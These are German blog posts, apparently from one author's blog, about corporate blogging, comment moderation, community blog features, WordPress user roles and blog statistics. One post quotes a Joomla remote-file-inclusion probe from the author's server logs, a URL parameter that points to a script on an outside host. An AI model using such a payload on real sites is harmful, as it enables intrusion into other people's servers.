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Deutschland braucht Blogger. Ob sie privat ihre Blogs führen, ein eigenes Medium mit speziellen Themen und Fachwissen betreiben oder als Corporate Blogger ihr Geld verdienen – viele Wege führen nach Rom. Eine illustre Rundlese zum Thema Corporate Blogs findet sich einerseits in einem Gastbeitrag von Gründerszene sowie im IT-Business-Blog von ZdNet. Grundsätzlich sollte zu den Aussagen beider Artikel erwähnt werden, dass eines immer wieder zählt: Die Kommunikationsstrategie.

Ein Corporate Blog ist seitens der Technik und Funktionalität recht einfach zu bedienen. Es wird entweder von einem Mitarbeiter oder einer kleinen „Angestellten-Horde“ verfasst. Meist stammen diese aus dem Marketing Bereich oder aus der PR Abteilungen der Unternehmen, zumal das Ziel eines Blogs in der Regel die Kommunikation über das Unternehmen darstellt. Oder es sind wiederum die Unternehmer und führenden Manager, die sich persönlich im Corporate Blog (und nicht im CEO-Blog) zu Wort melden. Freigeister haben es in der Regel schwer im Corporate Blog auch Fuß zu fassen, sobald das Unternehmen bereits durch eine gewisse Kommunikationskultur geprägt ist. Die Kostenfrage kommt spätestens dann ins Spiel, wenn man sich nach Mitarbeitern umschaut, die das Corporate Blog betreuen. Es darf nicht übersehen werden, dass Blogs regelmäßiger Pflege bedürfen. Damit sind die entstehenden Personalkosten verhältnismäßig hoch zu der eigentlichen Bedeutung der erreichbaren Zielgruppen der Corporate Blogs. Wird extra jemand eingestellt oder betreut das Blog ein entsprechender Bereich des Unternehmens in Absprache oder Eigenregie?

Insbesondere dann wird es meiner Meinung nach spannend, wenn mehrere Blogs aus einem Unternehmen betrieben werden. Ein offizielles Corporate Blog, dass sich in verschiedene Sprachen unterteilt, mit weiteren privat gehaltenen Einheiten wie das Gründer- bzw. Unternehmerblog, ein Technikblog, ein Medienblog (wie dieses hier) – und vielleicht noch kleinere Projekte wie Knowledge-Blogs, Service-Blogs, Kampagnen-Blogs, Themen-Blogs, Produkt-/Marken-Blogs, Projekt-Blogs, CRM-Blogs, Krisen-Blogs, die allesamt parallel im Off aufgesetzt und zu ihren jeweils spezifischen Funktionen betrieben werden. Spätestens dann stellt man sich Fragen wie: Wer blogt eigentlich? Was blogt man wo und in welcher Länge? Wer blogt ein Thema und besetzt es für sich? Wer liefert Anreize und wer schafft die Hintergründe? Wie leitet man die Kommunikation der User zurück zum eigentlichen Diskussionsbereich, wenn sie auf andere Blogs abdriftet?

Letztendlich liefern Corporate Blogs einige Vorteile für das Unternehmen, wie es auch als Produktanbieter mit Online-Shop oder als Dienstleister weitere Informationen mit dem Unternehmensnamen bündeln kann:

  • Veröffentlichung von aktuellen Informationen im Internet
  • Zeitnahe Reaktion auf Ereignisse und Entwicklungen
  • Unterstützung von klassischen „offline“ Kampagnen
  • Kostengünstige Kommunikation und preiswertes Marketing
  • Aufmerksamkeit erregen, Neukunden ansprechen, Stammleser schaffen
  • Informationsangebot systematisch und nachhaltig ausbauen
  • SEO-Faktor durch gute Positionen bei Google erreichen

Der einzig wahre Nachteil von Corporate Blogs liegt jedoch in der Natur des Menschen: Wer kontrolliert und verantwortet die Inhalte? Letztendlich basiert dies auf den gängigen Verträgen und einer großen Portion an Vertrauen, denn Bloggen kann und darf durchaus auch emotionsgeladen sein. In einem Corporate Blog ist dies jedoch nur bedingt von Nöten. Damit alles nicht über die Ufer tritt, empfehle ich insbesondere das aktive Lesen von fremden Blogs entweder direkt oder per RSS Feed Abonnement. Wer sich als Betreiber eines Corporate Blogs nicht über die Blogosphäre informiert, hat kaum eine Chance richtig wahrgenommen zu werden. Das erschließt sich gerade dann, sobald man als Autor neben dem Corporate Blog ein (semi-)privates Weblog betreibt. Für die PR-Abteilung bedeutet es außerdem sich inständig mit der Blogosphäre zu beschäftigen. Das Blog-Monitoring ist ein effizientes Mittel, sich über die Stimmung der einzelnen Kunden bzw. Nutzer im Klaren zu werden: Rivva, Technorati, Google Blogsearch und einige Medienmonitoring- bzw. Clippingdienstleister haben sich auf die Blogosphäre spezialisiert. Wenn ein Artikel einer großen Tageszeitung zu dem Unternehmen etwas aussagt, ist das klassische PR-Arbeit. Sollte aber ein Blogger urplötzlich Hasstriaden veröffentlichen, kann dies nicht einfach unter den Tisch gekehrt werden – auch wenn die traditionelle Einstellung aufkommen mag, dass dies die Meinung eines einzelnen sei. Es multipliziert sich, wenn man nicht gegensteuert. Gerade hier hilft die Identifikation aller Multiplikatoren und Kritiker, um solche „Kollerkommunikation“ schnellstmöglich abzufangen. Das eigentliche Bloggen ist später kein Problem – bereits im Intranet oder hinter geschützten Servern können erste Feldversuche mit dem Bloggen gemacht werden, bevor alles in einem letzten Schritt online publiziert wird.

Maulepaule hat es erwischt. Sein Kommentar war einfach unpassend zum Thema. Außerdem wurden verschiedene Schimpfwörter im Kommentar geäußert, die keinesfalls auf die leichte Schulter zu nehmen sind. Freche Wortwahl gepaart mit unterirdischem Unmut über das was geschrieben wurde. Öffentlichens Rotzen in Blogs. Das hasse ich wie die Pest. Keine konstruktiven Diskussionen. Nur duch das Ego der Kommentatoren geprägte Verbalschlacht. Die Welt braucht das nicht. Macht doch euer eigenes Blog auf, wenn ihr etwas mitzuteilen habt. Könnt ihr aber nicht, da das für den schnellen Motzalarm von Maulepaule wohl nicht genügend Effekt hat.

Ganz ehrlich und direkt gesagt: Es interessiert mich und die Mehrheit der Leser eines Blogs einfach nicht, was sich einige wenige namenslose Nicknames mit windigen E-Mail Adressen erlauben, wenn die Diskussionen von Gepflogenheit in einen tiefen Abgrund auf emotionaler und rein individueller Ebene abwandern. Egal wo das passiert – ob in privaten Blogs, in Corporate Blogs, in professionell betriebenen Blogs, in Wissensblogs, in Fachblogs, in sonstigen Blogs – ach warum auch. Niemand hat das Recht auf verbale Ausrutscher und Beleidigungen in einem fremden Hoheitsgebiet. Wie heißt es so schön? Mein Blog ist nicht dein Blog.

Wer dann noch ankommt und etwas von „Wann wird der ***** Kommentar freigeschaltet?“ fragt, landet aber ganz flott auf der Blackliste. Das sind die ärgerlichen Kehrseiten von Kommentaren, aber ganz abschalten kann man das einfach nicht – obwohl man es sich manchmal wünscht. :)

Die Welt ist im Web 2.0 mehr als nur eine Social Community oder Social Network. Die Idee seine eigenen Inhalte zu publizieren und mit einer weltweiten Gemeinschaft zu teilen liegt in uns allen – wir haben seit den letzten Jahren der Welt den User Generated Content beigebracht. Und mittlerweile stellt man fest: Die Leute lesen, sehen, nutzen und konsumieren genau das, was man zur digitalen Feder bringt, mit seinem Objektiv einfängt oder mit einem Mikrophon aufnimmt.

Der Kern liegt dabei im Bloggen – und nicht direkt in jeder Medienform: Text ist das einfachste, was man maschinenlesbar und damit durchsuchbar für jeden Nutzer im Internet darstellen kann. Tags helfen zwar Bilder, Podcasts und Videos durchsuchbar zu machen, doch das geschriebene Wort ist derzeit das Benchmark der Gefühle, wenn es um den Kern von User Generated Content geht.

Immer öfter bemerke ich, dass verschiedene zumeist junge StartUps versuchen, eine Blogfunktion in ihr eigenes Konzept für die Partizipation der Nutzer und Kommunikation in der Community aufzunehmen. Aufgrund der vielen Bloghoster und Softwaresysteme, die mittlerweile die Entwicklung von einem einfachen Tagebuch zu einem komplexen Content Management System hinter sich gelassen haben, sehen auch viele Medienmacher einen Bedarf, die Idee des Bloggens in ihre eigenen Portale zu integrieren. In diesem Artikel möchte ich auf die damit verbundenen Nachteile eingehen.

  • Thematischer Zusammenhang: Eine Community hat eine bereits bestimmte Zielgruppe. Sportler können sich in Gruppen, Foren über Fotos und Videos austauschen und sich zu ihren Vereinen bekennen und Fangemeinden bilden. Aber sie haben im Idealfall als Web 2.0-Jünger bereits ein eigenes Blog gestaltet und brauchen kein eigenes abgespecktes Blog in der Sportler-Community.
  • Funktionalität: Ein social Chat wie Twitter braucht kein Blog. Ein Social Network wie XING oder Facebook braucht kein Blog. Ein Bilderhoster wie Flickr oder Ipernity braucht kein Blog. Eine Videosuchmaschine wie YouTube oder Dailymotion braucht kein Blog. Eine Social Media Platform wie sevenload braucht kein Blog. Ein Studentennetzwerk wie StudiVZ braucht kein Blog. Corporate Blogs ja, Blogs für alle Mitglieder lenken nur vom eigentlichen Nutzen der Community ab.
  • Leistung: Standalone Blogsoftware (WordPress, Movable Type, Serendipity, Typepad) sowie die meistgenutzten Bloghoster sind das Maß der Dinge. An die Software muss die für die Community integrierte Blogfunktion mindestens heranreichen. Wer sich auf einfache Überschrift, Text, Kategorien und vielleicht noch Tags beschränkt, kommt auf die Dauer nicht um das Abwandern der Nutzer herum. Eine schlechte Kopie einer Blogsoftware ist für die Community eine definitiv verlorene Sache.
  • Umgang: Einfach hinklatschen und nicht weiter betreuen ist für eine in die Community integrierte Blogfunktion der Tod. Wenn Trackbacks und Pingbacks nicht funktionieren, die Kommentare im Nirvana verschwinden – lieber gleich abschalten!
  • Inhalte: Die geschriebenen Inhalte gehören den Nutzern. Wenn Nutzer es wünschen, sollte Google ausgesperrt werden oder der Zugriff auf alle Daten des Blogs nur für angemeldete Mitglieder sichtbar sein. Auch die AGBs sollten für Bloginhalte der Mitglieder nicht vereinnahmend gestaltet sein. Wer externe Blogs integriert, sollte die Inhalte nur als Anreißer nehmen und auf das eigentliche Blog direkt verlinken.
  • Eierlegende Wollmilchsau: Eine Social Community ist alles andere als eine eierlegende Wollmilchsau. Zu viel Nutzen überfrachtet den Nutzer. Zu viel Funktion machen die Community funktionslos. Zu starke Abwanderung der Themen und Inhalte macht die Nutzer müde und überdrüssig. Schuster, bleib bei deinem Leisten!

Als Zusatz wollte ich ursprünglich auch darüber schreiben, wie man das Thema vom Bloggen auf seine eigene Plattform bzw. Community integrieren kann. Doch die wenigen hier genannten Kritikpunkte sind meiner Meinung nach bereits Grund genug, dass insbesondere neu geformte Web 2.0 Communities sich auf das Wesentliche konzentrieren sollten – und nicht das Bloggen nur um des Bloggens und des Web 2.0-Gedankens integrieren müssen. Die Blogfunktion von Communities erhöht zwar die Interaktion und Kommunikation der gesamten Nutzerschaft und bringt sicherlich mehr inhaltliche Tiefe in das gesamte Angebot, aber der Hauptbestandteil sind und bleiben immer wieder Kommentieren, Bewerten, Weiterleiten, Teilen und Konsumieren von Inhalten – in der Regel wird die Blogfunktion nur von wenigen Nutzern als aktive Schreiber angenommen.

Die Frage ist und bleibt: Wie seht ihr das eigentlich? Bringen Blogfunktionen in einzelnen Social Communities überhaupt das, was man von der verbreiteten Blogsoftware erwartet? Ist man als Betreiber einer Community fehlgeleitet, wenn man jetzt zusätzlich auch noch Blogs für die Mitglieder integrieren will?

Immer öfter stelle ich fest, dass tausende Blogeinträge in meinem RSS Reader brach liegen. Es fehlt die Zeit, sich nach einigen Tagen durch über 10.000 einzelne Einträge zu lesen. Wer einige hundert Feeds abonniert, kommt schon auf solche stolzen Summen. Wie macht ihr das eigentlich? Ich habe mir vorgenommen, jeden Morgen in der Zeit von 9.00 – 9.45 Uhr zumindest die Überschriften zu durchforsten und einzelne ausgewählte Beiträge von Blogs zu lesen, die nicht zu der täglichen Stammlektüre gehören. Im Prinzip müsste man nur den „inneren Schweinehund“ überwinden und sich dem Problem stellen – oder einige Feeds abbestellen.

Mike Schnoor – Das bin ich. Als Autor schreibe ich hier in diesem Blog in loser unregelmäßiger Reihenfolge über das was mich bewegt.

Wie eine aktuelle ethority Studie zeigt, ist mein Weblog „MikeSchnoor.com“ direkt nach Robert Basic persönlich ein Zeichen für die Meinungsführerschaft im Web 2.0. Vielen Dank! Ich muss jetzt öfters bloggen… das Ego wird damit für den heutigen Abend poliert. Danke! :)

Sicherheit ist das Maß der Dinge. Ein sehr interessantes Feature stellte ich vor wenigen Minuten in der WordPress Administration fest. Sobald man im „Users“-Tab einen Benutzer editiert, hat man unter „Role“ neben den üblichen Einstellungen auch die Auswahl für „No role for this blog“. Dokumentiert ist die Funktion zumindest nicht in der Form, dass man sie schnell über Google finden kann.

Jedoch hat es die Funktion wirklich in sich, wenn man einen Benutzer im Blog behalten möchte ohne dabei seine Blogeinträge zu löschen und dem Benutzer insbesondere keine administrativen Funktionen zu überlassen. Der gesamte Loginbereich von WordPress wird für den betroffenen Nutzer gesperrt: „You do not have sufficient permissions to access this page.

Mir gefällt diese Methode eindeutig besser, als einen User zu einem Leser zu machen. Als Leser kann immer noch nachträglich der angezeigte Name (nicht Benutzername) in der WordPress Administration geändert werden. Die Vergabe eines funktionslosen Logins ist letztendlich für das öffentliche Auftreten in einem Blog ideal einsetzbar: Für privat betriebene Blogs eher kein Thema, doch in Hinblick auf Corporate Blogs kann mit dem Weggang eines Mitarbeiters die Frage auftauchen – Was machen wir jetzt mit den Blogeinträgen?

Sobald ein Mitarbeiter das Unternehmen verlässt, muss in WordPress nicht der Benutzer gelöscht werden und auch nicht die durchaus sicherheitskritische Einstellung „Registrierter Leser“ gewählt werden. Vielmehr setzt man den Benutzer auf „No role for this blog“ und bewahrt die bisherigen Blogeinträge, ohne dass daraus ein Problem generiert werden kann. Anmelden kann sich der Benutzer in dem Fall nicht mehr.

Ich wähle den direkten Weg: Am 05. und 06 März bin ich auf der CeBIT in Hannover und würde mich freuen, wenn ich mich ganz unkompliziert mit einigen Bloggerkollegen, Medienbegeisterten, PRlern und Journalisten treffen kann. Wer hat Lust auf einen kleinen Plausch? Mailt mich an, schreibt Kommentare hier im Blog – und dann versuche ich mal ein wenig im Terminkalender zu planen. Nun muss ich nur noch am Montag abklären, wie genau die Reise ablaufen wird… das wird ein Spaß, aber ich freue mich! :)

Ich nutze hier im Blog definitiv WordPress, aber zahlreiche Anfragen werden auf nicht-existente URLs gemacht, die wohl irgendwie eine Hintertür beim Joomla CMS öffnen sollen. Hier ein Beispiel:

/////////////?mosConfig_absolute_path=http://sonstwo.server.com/hack.txt

Scheinbar ist die mosConfig_absolute_path im Joomla CMS oder in veralteten Versionen absolut anfällig für zwischenmenschliche Schandtaten… naja, das wollte ich auch nur mal so mitteilen.

Wer nicht zählt, der hat ein schöneres Leben. Doch wir Menschen in der digitalen Welt neigen zur Selbstkastration in Bezug auf jegliches Zahlenwirrwarr. Gibt es keines, machen wir eines.

Genau da setzen schon die urtümlichen Statistiken für Besucherströme, Traffic, Pageimpressions und Visits an. Es gab viele, es wird viele geben – und ein neuer Stern am Himmel will ins Licht des Blog-Rankings gerückt werden: blogoscoop kündigt sich an und möchte das ehemalige blogscout beerben.

Ich liebe Statistiken, ich traue dabei den wenigsten, aber ich kann mich an den individuellen Schwanzlängenvergleichen immer wieder ergötzen. Aber ich weiß noch nicht, ob ich mich dort anmelde bzw. dieses Blog registriere. Irgendwie wird doch Bloggen zum individuellen Nischenlebenszyklus, wenn man überhaupt zwischen Beruf und Familie noch ein wenig Zeit finden kann. Ach wie schön war doch die Zeit, als man fünf oder sechs Blogpostings am Tag veröffentlichen konnte und dafür zur Recherche und zum Schreiben einfach die Zeit im Überfluss hatte. Nun ist dem nicht mehr so und der Blogtraffic bricht ein. Aber man kann dem ja gegensteuern – vielleicht kommt auch hier bald die Energie zurück, wenn das Töchterchen sie nicht endlos auffuttert… :)

Aber die Idee ist schön, der partizipativen Blogosphäre ein neues Tool an die Hand zu geben. Zum aktuellen Überblick des bloggischen Tagesgeschehens gibt es eh nur Rivva und nichts anderes. Wenn blogoscoop als Statistiksystem quasi wie eine Ergänzung zum Nachrichtenaggregator aufgepäppelt wird, kann das schon eine Bereicherung für alle sein.

Die Lager spalten sich: Einerseits sind Weblogs chronologisch sortierte Inhaltsblockaden, die von einzelnen Seelen verfasst werden und in geordneter inhaltlicher Reihenfolge dem Leser ein Mindestmaß an Vertrautheit vorgaukeln dürfen. Andererseits sind es moderne Mythen der Kommunikation, die von einzelnen Seelen verfasst werden und in absolut chaotischer Hierarchie dem Leser ein Maximum an Nutzen bieten sollen. Das eine sind Blogs wie man sie kennt, das andere sind Weblogs im Magazinstyle. Bei Robert und anderen Autoren lesen sich elendig lange Artikel über das Für und das Wider, neben den frei erhältlichen Themes oder gedanklichen Anregungen existiert bereits die kommerzielle Schiene, die dem Blogbetreiber das Geld aus der Tasche ziehen will. Doch was ist hier relevant? Die Startseite als Magazin, wenn alle anderen Inhalte als originäre Blogeinträge in Einzelansicht verfügbar sind? Das ist doch Gang und Gäbe bei allen Nachrichtenportalen. Nur weil die damalige Blogsoftware so rudimentär und technisch simpel war, muss man sich heute doch nicht vor einer Modernisierung der Startseite verstecken.

Brauchen wir diese Diskussion also überhaupt? Ein belangloseres Thema könnte man sich kaum ausdenken – und das ist für mich damit der erklärte elitäre Grund darüber zu schreiben. Ich glaube fest daran: Wer mit seinem Blog groß rauskommen möchte, sollte für sich das bestmögliche aus allem herauspicken und sich nicht beim Bloggen durch diese kontraproduktiven Diskussionen beeinflussen lassen. Selbstbeweihräucherung oder Randgruppenprobleme wie das Thema der von einigen Idealisten geforderten Werbefreiheit in Blogs sowie die „Was ist ein Blog“ Diskussion sind nicht das, was der Autor für sein Blog sucht. Bloggen ist mehr als nur hohle Worte von anderen konsumieren. Es ist vielmehr die Partizipation des Einzelnen in einem hegemonialen Gefüge unserer schönen neuen Medienlandschaft. Einfach reinreden kann dabei jeder, doch selbstmachen und kreative Energie umsetzen – das können die wenigsten.

Warum bloggt das Volk eigentlich nicht? So fragt Robert seine Leser auf der Suche nach einer Allgemeinformel der bloggischen Daseinsberechtigung. Die persönliche Blogkultur läuft immer auf das Individuum mit seinen Wünschen, Träumen, Zielen und Charakteristika hinaus. Damit ist auch das wichtig, was das Individuum sagen will. Und schließen wir spezifische Projektblogs oder Corporateblogs für Zwecke des Marketings und der Public Relations hierbei aus, weil dabei das einzelne Thema oder Unternehmen irgendwie doch im Vordergrund steht, so lässt sich beobachten: Bloggen ist Individualismus. Bloggen ist der öffentliche Seelenstriptease mit Coming-Out. Blogkultur ist die Macht des einzelnen Schreiberlings sein Gedankengut zu formulieren.

Der Leser darf lesen, kommentieren und beisteuern. Aber noch einmal zurück zum Magazinstyle als neue Form der Blogkultur: Wir alle entscheiden über ein Layout, die Kommerzialisierung, die Regelmäßigkeit oder was auch immer das Bloggen für einen Autoren darstellt – das alles darf jedoch ein Leser nicht. Auch dann nicht, wenn es ein Magazinstyle im Blog gibt. Selbst der persönliche Kommerz wie das Verkaufen von Textlinks, Werbeanzeigen, ganzen Artikeln oder der eigenen Seele an den Teufel – hier macht nicht der Leser den Vertrag, sondern der Blogautor ist der Herr der Ringe alias Sauron persönlich. Frodo ist tot, es lebe das Blog. Der Leser kann nur entscheiden, ob er das Blog lesen möchte – ob Magazin oder nicht, für den Leser wird der Inhalt interessant (oder langweilig), denn der einzelne Beitrag wird über die optischen Darstellungsformen der Web 2.0 Welt triumphieren. Wenn Magazine von Nachhaltigkeit zeugen, werden sie sich durchsetzen. Sollte es floppen, kommen andere Dinge auf uns zu, die wir wieder brav diskutieren werden… wie ein ewiger Teufelskreis!